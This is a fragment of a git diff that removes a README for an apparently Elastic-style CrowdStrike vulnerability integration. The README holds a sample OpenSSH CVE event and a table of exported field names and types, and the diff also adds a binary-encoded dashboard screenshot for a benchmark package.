"Crowdstrike" - }, - "package": { - "name": "openssh" - }, - "related": { - "hosts": [ - "ub24-50-10-154" - ], - "ip": [ - "1.128.0.0" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "forwarded", - "crowdstrike-vulnerability" - ], - "vulnerability": { - "description": "A vulnerability was found in OpenSSH...", - "enumeration": "CVE", - "id": "CVE-2025-26465", - "reference": [ - "https://ubuntu.com/security/CVE-2025-26465" - ], - "report_id": [ - "scan-123456" - ], - "scanner": { - "vendor": "Crowdstrike" - }, - "score": { - "base": 6.8 - }, - "severity": "Medium" - } -} -``` - -**Exported fields** - -| Field | Description | Type | -|---|---|---| -| @timestamp | Event timestamp. | date | -| crowdstrike.vulnerability.aid | | keyword | -| crowdstrike.vulnerability.app.product_name_normalized | | keyword | -| crowdstrike.vulnerability.app.product_name_version | | keyword | -| crowdstrike.vulnerability.app.vendor_normalized | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.aid | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.cid | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.complex_check_operator | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.created_timestamp | | date | -| crowdstrike.vulnerability.apps.evaluation_logic.data_provider | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.host_info.entities_matched.asset_id | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.id | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparison_check | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.actual_value_field | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.expected_value | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.operation | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.value_datatype | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_operator | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_operator | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.description | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.determined_by_comparison | | boolean | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.existence_check | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.id | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items | | nested | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.arch | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.comparison_result | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.epoch | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.evr | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.filepath | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.item_type | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.name | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.release | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.subexpression | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.version | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.negate | | boolean | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.status | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.title | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.type | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.checks | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.data | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.found | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.id | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.match_required | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.negate | | boolean | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.title | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.updated_timestamp | | date | -| crowdstrike.vulnerability.apps.patch_publication_date | | date | -| crowdstrike.vulnerability.apps.product_name_normalized | | keyword | -| crowdstrike.vulnerability.apps.product_name_version | | keyword | -| crowdstrike.vulnerability.apps.remediation.ids | | keyword | -| crowdstrike.vulnerability.apps.remediation_info.minimum_id | | keyword | -| crowdstrike.vulnerability.apps.remediation_info.patch_publication_date | | date | -| crowdstrike.vulnerability.apps.remediation_info.recommended_id | | keyword | -| crowdstrike.vulnerability.apps.sub_status | | keyword | -| crowdstrike.vulnerability.apps.vendor_normalized | | keyword | -| crowdstrike.vulnerability.cid | | keyword | -| crowdstrike.vulnerability.closed_timestamp | | date | -| crowdstrike.vulnerability.confidence | | keyword | -| crowdstrike.vulnerability.created_timestamp | | date | -| crowdstrike.vulnerability.cve.actors | | keyword | -| crowdstrike.vulnerability.cve.base_score | | double | -| crowdstrike.vulnerability.cve.cisa_info.due_date | | date | -| crowdstrike.vulnerability.cve.cisa_info.is_cisa_kev | | boolean | -| crowdstrike.vulnerability.cve.cwes | | keyword | -| crowdstrike.vulnerability.cve.description | | keyword | -| crowdstrike.vulnerability.cve.exploit_status | | long | -| crowdstrike.vulnerability.cve.exploitability_score | | double | -| crowdstrike.vulnerability.cve.exprt_rating | | keyword | -| crowdstrike.vulnerability.cve.id | | keyword | -| crowdstrike.vulnerability.cve.impact_score | | double | -| crowdstrike.vulnerability.cve.name | | keyword | -| crowdstrike.vulnerability.cve.published_date | | date | -| crowdstrike.vulnerability.cve.references | | keyword | -| crowdstrike.vulnerability.cve.remediation_level | | keyword | -| crowdstrike.vulnerability.cve.severity | | keyword | -| crowdstrike.vulnerability.cve.spotlight_published_date | | date | -| crowdstrike.vulnerability.cve.types | | keyword | -| crowdstrike.vulnerability.cve.vector | | keyword | -| crowdstrike.vulnerability.cve.vendor_advisory | | keyword | -| crowdstrike.vulnerability.data_providers.ports | | long | -| crowdstrike.vulnerability.data_providers.provider | | keyword | -| crowdstrike.vulnerability.data_providers.rating | | keyword | -| crowdstrike.vulnerability.data_providers.scan_id | | keyword | -| crowdstrike.vulnerability.data_providers.scan_time | | keyword | -| crowdstrike.vulnerability.data_providers.scanner_id | | keyword | -| crowdstrike.vulnerability.host_info.asset_criticality | | keyword | -| crowdstrike.vulnerability.host_info.asset_roles | | keyword | -| crowdstrike.vulnerability.host_info.confidence_label | | keyword | -| crowdstrike.vulnerability.host_info.groups.id | | keyword | -| crowdstrike.vulnerability.host_info.groups.name | | keyword | -| crowdstrike.vulnerability.host_info.has_run_container | | boolean | -| crowdstrike.vulnerability.host_info.host_last_seen_timestamp | | date | -| crowdstrike.vulnerability.host_info.hostname | | keyword | -| crowdstrike.vulnerability.host_info.instance_id | | keyword | -| crowdstrike.vulnerability.host_info.internet_exposure | | keyword | -| crowdstrike.vulnerability.host_info.local_ip | | ip | -| crowdstrike.vulnerability.host_info.machine_domain | | keyword | -| crowdstrike.vulnerability.host_info.managed_by | | keyword | -| crowdstrike.vulnerability.host_info.os_build | | keyword | -| crowdstrike.vulnerability.host_info.os_version | | keyword | -| crowdstrike.vulnerability.host_info.ou | | keyword | -| crowdstrike.vulnerability.host_info.platform | | keyword | -| crowdstrike.vulnerability.host_info.product_type_desc | | keyword | -| crowdstrike.vulnerability.host_info.service_provider | | keyword | -| crowdstrike.vulnerability.host_info.service_provider_account_id | | keyword | -| crowdstrike.vulnerability.host_info.site_name | | keyword | -| crowdstrike.vulnerability.host_info.subsidiaries | | keyword | -| crowdstrike.vulnerability.host_info.system_manufacturer | | keyword | -| crowdstrike.vulnerability.host_info.tags | | keyword | -| crowdstrike.vulnerability.host_info.third_party_asset_ids | | keyword | -| crowdstrike.vulnerability.id | | keyword | -| crowdstrike.vulnerability.network_scan.network_scan_info.scan_id | | keyword | -| crowdstrike.vulnerability.network_scan.network_scan_info.scan_time | | keyword | -| crowdstrike.vulnerability.remediation.entities.action | | keyword | -| crowdstrike.vulnerability.remediation.entities.id | | keyword | -| crowdstrike.vulnerability.remediation.entities.link | | keyword | -| crowdstrike.vulnerability.remediation.entities.patch_publication_date | | date | -| crowdstrike.vulnerability.remediation.entities.recommendation_type | | keyword | -| crowdstrike.vulnerability.remediation.entities.reference | | keyword | -| crowdstrike.vulnerability.remediation.entities.title | | keyword | -| crowdstrike.vulnerability.remediation.entities.vendor_url | | keyword | -| crowdstrike.vulnerability.remediation.ids | | keyword | -| crowdstrike.vulnerability.services.port | | long | -| crowdstrike.vulnerability.services.protocol | | keyword | -| crowdstrike.vulnerability.services.transport | | keyword | -| crowdstrike.vulnerability.status | | keyword | -| crowdstrike.vulnerability.suppression_info.is_suppressed | | boolean | -| crowdstrike.vulnerability.suppression_info.reason | | keyword | -| crowdstrike.vulnerability.updated_timestamp | | date | -| crowdstrike.vulnerability.vulnerability_id | | keyword | -| data_stream.dataset | Data stream dataset. | constant_keyword | -| data_stream.namespace | Data stream namespace. | constant_keyword | -| data_stream.type | Data stream type. | constant_keyword | -| event.dataset | Event dataset. | constant_keyword | -| event.module | Event module. | constant_keyword | -| input.type | Type of filebeat input. | keyword | -| log.offset | Log offset. | long | - diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-alert-dashboard.png b/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-alert-dashboard.png new file mode 100644 index 0000000000000000000000000000000000000000..d51391a2939b94ca5b8fdb6ef8aebfdd26280f62 GIT binary patch literal 791493 zcmb??bzGBQ|2Gz>v?$#vQWDakA_CH)bf?s428S8@m<=xczAfk%1SR@`$X-rnv1;kJ3A#`H*0NQ^*5Hj4we#DTynC+ccr~0fgYT!J;{0{>NPwV3n12v$BzV{o>`n?f^c?u)g!~aFG-c0E5B&U}1h|H(LQg2?+^-$3g-^ zLVUm-eC|FV4|8umkUQJII(T92Zs}&{;$i0uV#al7ZsF|dA;aqFX=f#AV{Y@r!piCi zpM|-w6`!D>l{ufem9QY6m9Vgt*b_lcvtt7Up#x`ZL%}(>3x4{xf_i#n41sgxCw^VjIS;>$p5QJ{1lqv zb3SV=*N+bWuSV~7*Iwbp|86A0x2jqHtA!PF(ap%)432&!($=X5TD-;lpEP`v%mOv3cfk9Thq-!bp%f7_tUiJM!PLhRmr+2mBE^?=SC zs1{s}8^*;gFJk*AFL5*LH78?upbRp}c>Z_h5{?H4hY=Am?eE6=AI{P{frsl#N^YApi0 za(*X1udwjY1ozVwrlmSd#R{`F)}o`Mg|~mDANDb`RNw}|vF*Y|h&Vk7${yEc)`z~S z%>Az=AGyGsk0ogki%Nr(OhzE8n1)wH)|fYIPCxtx9?{zKpuI_UKa&UcQCG*x9^gTZ zeOU$qA@}50HQ2+}EWs&#rQ1rXurNV_lf?xBM)S?lbUH5Jp$8h@|5-&6vA>dY6REuU zkqlvZ6D{-7>==Dg0@6}myXOYIeCe;i!g%uijw6`ZUM)_`RYSB;M(OhWXf>r!VEtf# zpOc$A=t<#}+rZG2`)JwCg7r+Lm($YA&kJtvds6J6*javl{C$S%Gm?oe1VK^@X7MMB z^w*nbmF`dE3#4nbeCqX@f1JX*Fafzwo%~c4+O~++)J+WQnK(W<0JZMs5mUGbVuuEbfU9jj!I-#G9YWp zve-ZJ4PHb0C6X5GojvF-TPF1I##B=wZV~^d#rP`wYkWfrQY}*5C!uaCJn6F%ikIB* zkR+0#i!}WP_Dr>}{C14MN=6S1OJ#m2l>KpTKtNN&+)xbqws^97pAV8$_7r-;+Nc~} zrqyz4kP&d8MHD*8R40n2YTo7DJnj7q7~3GZkeb9FY$vvY(7X81R5&}hr?`Wc z?%S_C=<7xl2SV7aa(6)P?Pem19G!jHAD9>FDIi*!n+r)uVdgXyU@`eHlC@()XN%s& zYYT7H9FLB8jjBF!s6c&maU1I2trrnKU*rYP_%C}__6a-!*SnBd}khp>Fsu?an^(%IAFx;JAxngyxN zajF0I?K73BZ*;|h8)~AeK2P0WdBf8v^<$M(rw5IyW373T-vuzI7pb?ZDI-JPOFL9n z+^voN{8RG_YYG&la&=bPtE6$rFZJKS}j-Ylxujy$%!wMfm!UWekz#CJwq&Af^khfvRPR0yS6IVXd zn9G!-ZL$5{z>HrAMC`DgU6Ee(r=})9BYvvg*V=U(AKc5~bT0MB^M`wFWj8;5mfpY5 zd*y_9>-riSe>+@t+94GDZPqbbLZV(gUcStSUd{T}6-iBT=BvV5cn!@V`E-;apx`Sm zO5w4{juXZB^z@D=Q}ct?x<&)Im#5g=D-RE%EQDXkulIPUE(1Ox)(>>fO+ku`zVB)` zgU(S|rid0IMv-t`(|}|Msy?@C&%uC=gCn_duPzuFBc)?rSv9L~o8G4;Hm?L|T?rFz zualEw3=h%hrI}nN%cs~DkFDuzxdRG%-qgCLo)V?4XRN5GfM^J+C4GGSzBD5#cc1dl zY|rIDn4E&2-<;_g*i}#Op@#G^8C6;!3E*<5qhBsBTe#NG-A}kr!9=B~=|Tqhl284w zL_z)SOYing)KVk2MTs)se{POd-u7B7n;6kF-F`BI-pTGUj_*_Tt6fU+C%p8Z~PMVp&paRJENgYx%gD6P1@=?Zz)m@41a+ijjUS$)eDuRE0t zXgNf;`j!1FAu3akYx1E)R=S_$j zVIA>_cUs~186GIOY6*HZ&O_d+ogHs>?VHQfc+LqD(Tcp6ZH6puBjukzmj*#oXJ-xW zQBZ8mW(x-s5HrijL|1`K%)qUd)dxUe9TIXK*E32zW7s=+r6g03HS)_=yeA^7$nS%#I zE$qJ1j5@^z(Xp|lI3WiPCpAwA#GT(`r0l-KmG)H6TYR#i!NwC5o62WcqiI{5rES3V z>C-3u7C+3hW|Qa7uV=kvQ1sE4*q$tv%kyLy+N(e34<%*l{&0(sv`c zeqFZ3FlERFkVo&(P{*zp1Q&1gny!Rym$q4ylijg!?E_~Lcv9JL59?J+E|9ZfTd zx06j}vViR6=k-MWWTqx}RsGg}qXz1M`tm>`!TM4`W(%Xr)ngkKWwP(Vf!#ZqzaXf< z&K^ry=Oe1V&x>Xm0b5$?Qb$&(M?zwtmws>z^>eA6hDJqsl+`ANqsMGK7CfJ|`bm+FS zvfAoAc!5Jq0QJ5Uf(tIyo<7AxwVrTZp8d%gwqFgQGPQ0ejdvAK39II!59E!NJ0p9U z715LFo0u%TzH?}k`=5xcu~-8zhgY=CzFzC~wwWu#5XPS^3*8%Hrkt|;G3!?-g#gSE z*iqDQtm($t$!c;gBOANONBCYHbV%RubZ3l|TINjVDouj0@$z@=oB4z`v&BLIxh15A zob6J3SJTDl;a8~c{>7nymX68r`zwE+<#NS3%%qf^i}-DlyFVHlLWPIL6Hu+0O4e@^ zP9DKuyvc3xpmyb_#4@7_)(!#|&rftlHh&aue5H-4=T4|LLm$rAs;oK@2K+FaATlDB zf{g_A8r4>Q-+FeddOaON*<<4JV5%q zt)iyJ7YXI%5O!xHhPM(aehj0ap=ld8%|VaBTHS_cuxn|RFm?%vxYIiE1H!v~LqiS* znG^P_p{bxS|C`kUt*6phN#q+mN&)@;4!ww(skoNrlJ~1w#`uXHK4`Miu-Wk$Elt&*d0xmIyqKqDyJ@qzG-1$ z;nI+1WdpKW?o_@{MRmjF=&f$t*RQ>EK8Ms2e&XNF&4+5Z_=+iXO&MZa%V<0T{1yEUDB;VK3SCKK;_{b!_63ET@KOPr%8;fsqn4{R zhl2ycl$f^`7T4D^!LohaeRcEviTwJnyuHOEl$9Yw_E^tu8X`vNBt#%K`n!B68O;L) zYlU0L*374xnq;{dZbHEL0TV9hb8tVA-}n>cT(T+F7+4$aKupL39$Ld{l-|jpzA%mS zJF>QCZK_wUcPnj%I5|0eYmu^c2UbGD;0&CxXqLdvRo0zkNIm4^{47%Gy?m6$Yve4%OhP) zg*~^bY*=}Y917xAO0X%2EMUtl=JFO8kko^ylG zudJ<+Q!orkWtmzo{pe~szfv@U96g|i><9uvnXOh?9fNfrj3{Q(A7qrzlFFq{^UFWh z_XE5(oN?T%<$!V&u4pl%eK;eNH(e8|HrD#1&0yDf;!z`hHNnIYI$lG%-JP)i;X&jf zU<7t4l>CQZveG_MCK~)x0bp>Bq;&m>e1;O6Ujv2B zm#x-@OsA`MqLM2yK3gI{@OIs7{*2g9&itO1R@|R$c$h%T#U}zr->)bx)ny=CNRqZ* z7Yz*ybDznkGOwJ$EM{q>^pA~6qQ@z)*A_F*8P_n_=D`oQBK7KAfKAK47P~2|S7D_; zc7bzIr@PKmJ%EQ}%R&SMW?s_>?q~x{eqXE{wgTpJ!Y(eJbnOPgqK9O%Oyer(tEGhn zwa7bW4CYpmVQU7+xbaKeNU~S{?!&@|wqrSJKmpRIYqK)Jvg(0q4;=e8F_CTpa(ddg(rThI;eM~`gg8>+qcf9L8tKks<1 zUv2-S?b$OT2GOtK;kRdVYb-muqwiBve*T*F0vm7%Xlhnj*=NvvLtI9NdKd|Vi$r>n zaU*5?$O{;wjFPgN^-M)K>gALPgb#>NtdZT(R@TbqO290=dNrVg8jp+OH`Xh6yA>cSOGG32u`WrkowZ%R6?EgtlZl^T^;~yf zNfjtx52!XiEp3o^%2Y$uL!@x3DEnt!Qi*Zny$3WQaHI|TM;G5!&{VUbn2?ZUd`ilz zXV0$rU~c`)$pNxSuw=HU#XybY-N;W$>aWY z6ZS?#1p39xmt`&^7C<+tmyGpSvxUm)>MJLk!b!rmSF(m|8U$+`l?g-LeL+-rkRLkR_7jsAuRBn z2!4m`m#LJaBE#3JZ&24>gc6v|LT=2?Q%7+EsSVP88X_O%KU2Mp^mjxrWY;+KJZdFb z=u+c-!aKYZ z9j}@t4iUC^`%7V&nwoVGm9Kz(V63UNm!M8acw403$oM`g>QBx=_uiHghuhF3sMt#sG|noU%R1K3u3@R&J#m{2oog`PgQVy4&x7 z8`XRwOMHwE*~U(YD%}epe8nZ7d}5dx0Etvn)>LRs2FL7l<`Mj2l+28N;DIJSp8 z0_zD=Cdf#Eo`XFIO4xPug@uKsIN*Gvy1PqPfiwbvJxwQ-z4#1kJ^g@cp^GITH5O{n z)Y0iCl~euMkdrdoU;y}ELqIzsdyq?~$XG6B=Jx_#GodH4-b{@{!~07eDU;5C?CR~U zk@e?pj>!7L{2Y}jqW*yaLnG|f!gw{@smQ4Q!xX|h9`_JI%kIaPlf3QE(Qf66fYUVx-9HcoPmJM<6Y(}H77pc8+hqw91I?# zdgqSo^o|!`_U`8mQvdsD#W=qj#+D@eawa zKQxt1g?JAIO21VV5!HZK!H)|H=`vSN4iB9l6&5-AEt{|OE~#0E89<|m@YaUYQN|pA z?+g@HQ0VIHehHyMab~$o(g}%Gvrf)e{{Bq{c#z(2&w^8O0Pq4OXl4JdtkQKXCx?g_O?^vI837H$A{s~=xbt6jhz?(7mzX;pBk?Ms6$)ZGl(=3zz?u< zaeRSh_8b`3m;;XM{{07JG&IUqFK#-@fs-3|;4$v&D5l?z=>!(TY4v`8(A1wIBLSF& z1%PgPdzAonWob-n{4#1$QCXQI# zcbv-LeX~`Er*GfrnAO7bOBQ_Q=xBGmr5ROigmGhGXMg?r_2~42gJVreF0Qa>I`o)|Vo(GuA0x;YQg_nEiCIF$uyBT(~@*Vn~ zEcSp$6f|gYaU%EFu0M8sa`G2H;?LRfF5r`H`uN-$%#hK*kwm?Sq@l_8GmfAO$OzIr z@XFq!(TJKD|MC0MSW-p}2gW03I=ghqdz7^8K=@ETv-4+jK9Uqcrv`vzD$wG^R#GquGH)H8zLLuO=7p)SCi1d{P*E7y1W8bFxUT()xL|~fhw7O7iD;zmcB*D} zS9%8T6Pc6bg^7lmbB5jewE9FE*_8(G}wsaByTP z-yUkgfk11W6fa%7R-rCfe=vHMN8opG<3OPttSe7fhSe?HA<`N1-Ky|}E{irKT2o(trfAN-dQbQrornvwh74NVIW{12J>y(J%qWmy zL`!R-Qp?1o1zwlW(ZzA|^qiu`pGY^X<5|G7!@bA>o<{%?MnOTL<^!ZnJ%O=VZGE@a zGhqO#Id}-eLdP`Zipw9Y2HXZ_-!lbmXlRhxGXxZnF*fXODH4DuV&*|TW^hx3EO&g|5Kb2SbM3Y!tLbbiX-pB_f(FuzFq4jhU~(WSH3rYMZI?Fp)0MV% z%Yf$?*Pz^GxKxxhdu}S>!-^DrSIOoGwT~& zl|K4&=qIw~zH^+;=g{D}`(eh>;%IB4?*8Z}fB`IanyCo+*?E(flCa(fQ{^x<{o2d9 z!E5)qmMb?&Sp4xWyqr&pPO+oK@O@2o99vkW$Bdi3JssA@w9<=V^30df=QIF-88Evi zo4`Ya83Q(CeLYaGY-}h2Pb=ONB^lxbuc$|#72ZJvz;cS~(}s2aNK&a8VFSmk$3r}% z0?x+^Z^+7?w@|IPNf=JhEnH0>GW@#SKN3S?TE`mA^0`5eR7&;woT0g6f&H~b(TK~O z6d955h>>SMi<3GE9SD=^cnP3BFpd2%i2Y2RYdqLB(yN*LOFam~n9IOtXV{QjvmO0& zW8)!Xz`jWi_LyQUAbAjgt(Ha<85hqSN`E*^b(hT0LTBpzY}Q`#H(wY4=5Msz5&~-3 zl*G-ah4F+Yc{}m24dOgftztKsU~1LXG^cacU2k zPL#A92u&8leik*gH*SS59@hb()yiie!V_9!0?Pu!SiMp>?f>*$SEf;NZ$i42o-6%&X>gew7TyxUV z7$?1E8)5)iq!U~4aIf5qQ@jG8+>#Rur~Y>$ZZp}?xLN)L%pukOpfJqsu(%f8@iRi4 z{u~>IjPajAUwY|wH+!V|e>*<*g>2`f8Ydc8dO1b*TrPz%v2cMA#qR-&cx=7#yUktV}SVr5j>PN=!#G-hz_d?E+x3 zz4_x50nOm*-6{^=c8zoQ{< z)F;YaUy65sq)>-z8{iX3rQ)y}oJe>psej zwLyQehC^qpZ~gkwr6P_TJd^-lJ^-e8YCd}3&HXU1c1GN0#U{gx#mACc}QgOBQ>xzBs;^Wq@mV zOwBCAS3Gm2;}=H^R{yS8tv?lVYwyn7V; z=@Y9gOHf0D!CgW^0IJgCr35Y`9B2Og@c=xs^{VyFTLgmd7N1I1IcorRv-LtUI=0*I zxwZ9!J9p5HO|uyZ_o=iEbY3~C@^S;9W6kZAgA-S&M%anQ^?5XA$KL{avOh>NMLah6qprnJ@yT zH++9z$6wKD7P>(V`16!w4k4j0)6>)QCBebf$P1s=jFETjPo5;qHb{QD8)+ad$I;aV zn9dsSx$~p#To8~r{v7(VI~Lg+?&5ZMkSyq~Q^@!MC|ZbPgK207T6gY$XXoI&_h3f+ z%}6lmTt^>Q=KIVk|M;LAXXxKIPRJM;U%s%qIWnS^7O>Sfm?l%}>OI==)4%b}kE|bh zJ0=ZX;E#bfmS%Yy0tk*FMrrrZK*r^zKB|CK3M!@MyICb2N^7&b@)mm?;GV}vMn}N zt~=IxxGR6o-A{-n@Ipz!0~t~+aQvA$BlU#KG~>ar5?1=du2kdR6K|ur1f8yL;==K{ z7vqlgGWoOCJNW{w7b#*0UvTMIOyYe$Wz}%o{ly?W9E0m8aqOT|Vx*>Qmw!?O`I=lG zC(z^Haf4L0KaWDg_V;JYq)LDKnF0RhUWgZ7RHKJ~ZL58)m@p{`$pNnJBd(PtcdU=j zxw!)f+vNe6GFIA8u1`5a?Fa~k=e&BFrH@VnH%6`3PjeJMCGhCRK{GY5SC>&0dE9(x)owb7j0p}W&)G5KK`?0=l+-EWkKR<@q9Lx?<}}4JT^x|wzlkRoaSHJ z*l?yxdadBl76c-bgkjcw!6$m#sL9(k^4VgBI4y1XZPN9mI5s6!rC(-`A3I-N{}BA4 z?rf`Y1LzKjveP^#lZ^sqvVnK~b4P}T!oC*A>TFjFN>GiF^={|9z<=_xVi51^*qGq#x_BkxwCgohW8rc72p9KxI@d;oNM z=DTg|o}Qmy@8Decz(ft7IL?Rd55NQ#BL!NQ3wQ*O@v#WDVr@mhOu%F>#WMpg7&WA? zZpX@;kukN%rPLyPagjQJ-TPclP$nxFKu1~K&Zy;E+2^LFHOo|nhp9uuicEob;hD126EV3g{xz{ole7T5S>|tK1Y`!7 z_2~vrI!jqhTH~J2`?R?x8_$psg*mVFX6eh7tYVUOlIn&ANm-yE<1S&O_%;H&h7&%Z zL6#k%s*a+mCp&5YE)Sr^l^egm-+)P9-WRw+1$u1#&L}DxTBxjWMRG=Qvc+Dl%SmH8 zDSl>W3tM&*<)~j~+c_EoG)lVyp~P;Lw)bVVZvE+x$h`b~^Bt&VenF9i{2Kn%sikDx zQk?YFv}F_e%puKt`3?@0?UTC-hwpOoN=K3G!YQcB)=PZW2Gcu!D#u5}M6I+yP^$oi z3lxYo2t$q?b2P9NweX>7S0rHBIM@_p7OQnlm)ZyznMK&YqLHn(s|9Z%MAr?04ccl^ z3$NdAC#(nd&tux?!E`C8ay%ym4SAdY$-)3G*zMy=e{o#n*m54=SJTJZp9Zv(LS($85~HKS7Z)IV zc3yL>3<&SJ8`rNtPUZ8>dkqw>DPga0Nlcr8t##k1b=Xm85sn>`MEIS{n45nGiUc%) z;+x`HLWqX!ox^cqm@B+k%&kvh-F+&(_5fj<$u7YicQ`B&`CT6WU}oJiSp>sX zH0cZIN!?zzq0eD4IIl!j1a2HxNdoQIGj3|^tQ240R5m*5&NLY-u8JhFF^$#LT`TID z?>1Ja8x``c?wgMZV`_*ky&%4z9c%b@9KWb{P-CL3ux$8`&LxCr-ZoUjJPkn`2NcJ;cz1gpzgw3Tjc=kSBx+S zCUNfgGKw0vgH^rMNzmnJ0D#giYc^alrip$zTk9O#7t)@OTCrD( z+PCMvFl-B^sx>;nNFeaq$xkt#el+CZH#TFKSh>0TZk`hC)d&<kyg^f^a9c;kC;gR*?udBh-*0Kpw z4FFQ;{SH9Wox&Qjp8%W@YvLE8mMU6%TIOP9brX=I0I(jo2$I*d<)BQi>B;ec;9#yvU}j}bhR3oU^*cLh{x#$C;g+^wsk-+uyF(c&ZgC?l}9kdTMte)3U5} z$4e?XnGU}4Uu%^j1(wy2J)#$AKIp!78SpnA)KypKpIUI?abFi$L6R=4<#RDEjccp3 z%F4zhCB1t|#MBSeRP?VfwPcr+#1xj)$8o4!r7()hUhGq-%c5@rFn52=j+6A|jyn;J z>?e1Dy05vJmvWpMnB=syrdHmcw;mb^hv7Rs*>V3lGwEKRcE2b&dTiksdA(LYau!Jb zh5nos*43NCkS)H1d3hGQiwmm5G_yrbpvwpklIAY}$ycP0xjI7$$GTtntczSW1^9DT zdsYLO8#x`_jbC2?M&q=iFm(+L(jwdkVpo@;30*vZR=Ec(i}J#PeHO=!F!~Of+{}Jt ztSnI0g87snA|k#qQ7HvzG!Bfdgf%Cf8Ml}zzW6A7S(}+M+3dDz|NOapcyvULE`p^D zN?DC(n-=h>wCRuE7z{|(j_5@1(cXLR?M)2;!pKQD%I;s)24MvXyCdC=3cDEwUVF1Y zya3dhfd0?CcgInZD(8Yf>QbglhsX8^z|7~f8<(-N=Qs1Yxus7oB8!Y`Tk$3V)VWn`qf)~yCmNSyBLL+j)58tfL3!g(O{hF)Esxs8OZ;}DhiK(bB? z)G3-l%%pAiq!+L*L=PS`k|xd7Y6$E#uaf}IZ0b#o=eFo@>%Ln-L7_5Gg%|>qS*4`V zf?AGBYzD6X%*}OO!mR%;Hq;#*lQge{PdEAS0D%Zlnw12QMhgIk513fh`{Omy4D(}? zhQ)kdmQC^i3ad4uMKB)nx9D3g0gVI#kq))u-G)c<< za8iJF{CX6@_|Qd5k7Wbb6oS23hHBM zKpHl$TS?SaeYlfvtS7o@dv#Q*Qs&Gs_&X2$IDw%^Cb`$zBUre9sz|YA_B!WW6JU_sE|6#gccPPzTM}VhyGe zt@v5MGtT3>_m^E8n+xG@Qo%qmGJr7cwW9ddsXghRJqx-|1uX-L=K$Kiw-%xH%|whF z07X_Fnv2j%0BQceq@wp%D&*JVOXZfhjqhmeshW8RwY0@0@yXWB@zZ-I=nWj?55iwy z65oo9>nx+`XWx5;$^f4{T7TS>-OR>+;OLx{$G30aW(E=f zfJu<3uLr6l7b<~ghKE<(!Qur1eV`XvcpPwbY2MNew;tkt$*wikgX zg@0QAIq;?uos}>DJG=k+Q}t`n`1g-N&jCS?tvT%oTy*%K*2`k?uHTss8($BSz>n?8 z`p-F#f4U`8L5lfNN&hGSZm0g!BnI#QUETjYjo#+} z)AVij0Zs(<{NGRd`!3-vFwDC=)|Kt}uo~&XlX#x1e7oGmtM+k*G)qw4(@O9WXtePU zKC}D0+dnG%?~${HwJRV+gI7L5uG+pYR95Bp`%+DKQR#%G`i9YY zS_hnRgki{#6FuH*-MmI6mx0KLi+Md>n-AB6Z{NAY3V=1Z(%OHwCJ#UJC#gVvSJwe) z?NSTqry|CON(|8IUt@4lA+tVSS>9fo?Q5Y`c#LL+L;Yd5W{C8JB6Dk<{$ymU)yZgT zBF!AK)4xb^c@p2X!#FNJSl9iQU zHIK+XbD<`VtHyDkA4H+yIOC$!KKsLf05d^iWX}@#qBr01>ZU3{2mqF4sQ<-P1i-U$ zWLtlQ0_D|!!~Azs;-U9^w!55CAWu2Ex8Ipa%v+Lwz%Og|#7j(}ngnHmA$$v;zYihC zPbXsv>$9@g;XKfIt7Gy^UOpK7zjwe+ZWe!@zd&Frc!Xsnu~b_N^+siu?K7CFmoq-1 zPR}!lSCOC=9z9?3zg2(bDGfk&Xg&FDc8&=wo3J_J2f6QFT%Q*5{t8B4(|@a{5nOnb zo8MX3mAhl;@olE@UFmbb=$}5sx6|WO6`h=nD=RMFIyznYP}&g+Uc*QI@c$GY&B-b~ z*ZB9a(Lc-dK1QI(#@*-e`~B>r>;9@gKk82#fqGh0ZZxn>gq}CV?IkemK5ABR#=|-P z^KZx9sioQ?@;Gh^lyO8Y|+af-oM 